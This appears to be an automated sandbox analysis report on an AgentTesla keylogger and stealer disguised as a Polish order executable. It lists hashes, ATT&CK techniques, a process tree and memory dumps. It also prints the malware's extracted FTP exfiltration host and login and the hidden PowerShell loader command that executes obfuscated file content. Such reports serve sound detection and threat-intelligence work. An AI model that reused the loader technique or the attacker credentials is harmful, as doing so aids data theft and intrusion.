agenttesla | c4d42916164de106fcbb3514a3dafad03242e516664c0b7f8d88be99e6217683

Analysis

max time kernel
93s
max time network
205s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
08-10-2024 16:00

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General

Target

Zamówienie_5788497443000130096333.exe
Size

443KB
MD5

e48da20cb37e235145461d1ef93d560e
SHA1

cbea11aeb4c0ce13c251b5f9bf13560882602a9b
SHA256

f1a872932afe6964f188d3ddd0f2c2dfa639bfcdfd1baff74bdcd5eca8f815c9
SHA512

276d051174944b9fca11e21db397fb462296d870faf11fc41b57335acddf475f641df74f4ffadeeb38a014ee1819ad185ad08f3d16d62aeb73d456332ade56a0
SSDEEP

6144:NqC56ALcmpQFbVySc2pMOooOZFC7PPH9OvuGnzH6JOSOs+VrPfh8RBq/q4+96YJ0:KA9WL5c2pE8PHZGT64P5aRIle5FVaFzf

Score

10^/10

agenttesla discovery execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.carbognin.it
Port:
21
Username:
[email protected]
Password:
59Cif8wZUH#X

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1772	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	Zamówienie_5788497443000130096333.exe

Blocklisted process makes network request 3 IoCs

flow	pid	Process
17	1464	msiexec.exe
19	1464	msiexec.exe
21	1464	msiexec.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1464	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1772	powershell.exe
1464	msiexec.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\o.pri	Zamówienie_5788497443000130096333.exe

Drops file in Windows directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\0409\vampirism\discomposed.ini	Zamówienie_5788497443000130096333.exe
File opened for modification	C:\Windows\resources\0409\Bitings235\restqfr.sta	Zamówienie_5788497443000130096333.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
408	1464	WerFault.exe	89

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Zamówienie_5788497443000130096333.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe
1772	powershell.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1772	powershell.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeIncreaseQuotaPrivilege	1772	powershell.exe
Token: SeSecurityPrivilege	1772	powershell.exe
Token: SeTakeOwnershipPrivilege	1772	powershell.exe
Token: SeLoadDriverPrivilege	1772	powershell.exe
Token: SeSystemProfilePrivilege	1772	powershell.exe
Token: SeSystemtimePrivilege	1772	powershell.exe
Token: SeProfSingleProcessPrivilege	1772	powershell.exe
Token: SeIncBasePriorityPrivilege	1772	powershell.exe
Token: SeCreatePagefilePrivilege	1772	powershell.exe
Token: SeBackupPrivilege	1772	powershell.exe
Token: SeRestorePrivilege	1772	powershell.exe
Token: SeShutdownPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeSystemEnvironmentPrivilege	1772	powershell.exe
Token: SeRemoteShutdownPrivilege	1772	powershell.exe
Token: SeUndockPrivilege	1772	powershell.exe
Token: SeManageVolumePrivilege	1772	powershell.exe
Token: 33	1772	powershell.exe
Token: 34	1772	powershell.exe
Token: 35	1772	powershell.exe
Token: 36	1772	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 1772	3268	Zamówienie_5788497443000130096333.exe	86
PID 3268 wrote to memory of 1772	3268	Zamówienie_5788497443000130096333.exe	86
PID 3268 wrote to memory of 1772	3268	Zamówienie_5788497443000130096333.exe	86
PID 1772 wrote to memory of 1464	1772	powershell.exe	89
PID 1772 wrote to memory of 1464	1772	powershell.exe	89
PID 1772 wrote to memory of 1464	1772	powershell.exe	89
PID 1772 wrote to memory of 1464	1772	powershell.exe	89

C:\Users\Admin\AppData\Local\Temp\Zamówienie_5788497443000130096333.exe
"C:\Users\Admin\AppData\Local\Temp\Zamówienie_5788497443000130096333.exe"
1⤵
- Checks computer location settings
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden "$Ossarium=Get-Content -Raw 'C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Sakset.Res';$storvasks=$Ossarium.SubString(53865,3);.$storvasks($Ossarium)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1772
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\syswow64\msiexec.exe"
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - System Location Discovery: System Language Discovery
    PID:1464
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 2028
      4⤵
      Program crash
      PID:408

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 204 -p 1464 -ip 1464
1⤵
PID:4052

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_m3sc0azj.4re.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Erasement.Sem197

Filesize
384KB

MD5
f7b79f20da870295dcf5c0d90de0cb35

SHA1
c4f337acfe38c8fc9a3fcccdb2e81168595a1c31

SHA256
1fb8978038edaf50e460ec211ad0faa2277b76be6bae3748f33b5e103b6462ac

SHA512
b671238abe89bf7fd4c34c339bd3594d420b90d73fc1aba6131c663217c5acdc15ddfb27969a55e7ad320d63be5854df8b81ddeca5fe79eb6e7134f7e62f1f5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\deciliteren\afstnings\Sakset.Res

Filesize
52KB

MD5
87d2841aab88bd011520d4b98298992f

SHA1
cbdf74d62edcca1c96f44929c396383a405252f8

SHA256
158c5134e2910f62d058a85124b81070ba5953276b7a0354ecb5fcc20db58b95

SHA512
98d6af4ebafdd61012e0e8daf6c73526e016783f710bda0a17be859d9e9bf7411e914ff531d93b276f206713d47612a252d5bf27329044f8c7fb1a096311a603

Download Submit
memory/1464-71-0x0000000000C00000-0x0000000001E54000-memory.dmp

Filesize
18.3MB

Download
memory/1772-35-0x0000000071250000-0x00000000715A4000-memory.dmp

Filesize
3.3MB

Download
memory/1772-64-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-12-0x00000000053B0000-0x0000000005416000-memory.dmp

Filesize
408KB

Download
memory/1772-13-0x0000000005420000-0x0000000005486000-memory.dmp

Filesize
408KB

Download
memory/1772-10-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-23-0x0000000005490000-0x00000000057E4000-memory.dmp

Filesize
3.3MB

Download
memory/1772-24-0x0000000005A90000-0x0000000005AAE000-memory.dmp

Filesize
120KB

Download
memory/1772-25-0x0000000005AE0000-0x0000000005B2C000-memory.dmp

Filesize
304KB

Download
memory/1772-32-0x0000000006EE0000-0x0000000006F12000-memory.dmp

Filesize
200KB

Download
memory/1772-27-0x0000000005FA0000-0x0000000005FBA000-memory.dmp

Filesize
104KB

Download
memory/1772-28-0x0000000006020000-0x0000000006042000-memory.dmp

Filesize
136KB

Download
memory/1772-29-0x0000000007390000-0x0000000007934000-memory.dmp

Filesize
5.6MB

Download
memory/1772-9-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-31-0x0000000007FC0000-0x000000000863A000-memory.dmp

Filesize
6.5MB

Download
memory/1772-34-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-33-0x00000000710C0000-0x000000007110C000-memory.dmp

Filesize
304KB

Download
memory/1772-6-0x00000000752AE000-0x00000000752AF000-memory.dmp

Filesize
4KB

Download
memory/1772-45-0x0000000006F20000-0x0000000006F3E000-memory.dmp

Filesize
120KB

Download
memory/1772-26-0x0000000006D40000-0x0000000006DD6000-memory.dmp

Filesize
600KB

Download
memory/1772-11-0x0000000004AD0000-0x0000000004AF2000-memory.dmp

Filesize
136KB

Download
memory/1772-52-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-48-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-50-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-51-0x0000000007210000-0x0000000007234000-memory.dmp

Filesize
144KB

Download
memory/1772-49-0x00000000071E0000-0x000000000720A000-memory.dmp

Filesize
168KB

Download
memory/1772-47-0x0000000007060000-0x000000000706A000-memory.dmp

Filesize
40KB

Download
memory/1772-53-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-8-0x0000000004C10000-0x0000000005238000-memory.dmp

Filesize
6.2MB

Download
memory/1772-55-0x00000000752AE000-0x00000000752AF000-memory.dmp

Filesize
4KB

Download
memory/1772-57-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-56-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-58-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-59-0x0000000008640000-0x000000000D606000-memory.dmp

Filesize
79.8MB

Download
memory/1772-60-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-61-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-62-0x00000000752A0000-0x0000000075A50000-memory.dmp

Filesize
7.7MB

Download
memory/1772-46-0x0000000006F50000-0x0000000006FF3000-memory.dmp

Filesize
652KB

Download
memory/1772-7-0x0000000004510000-0x0000000004546000-memory.dmp

Filesize
216KB

Download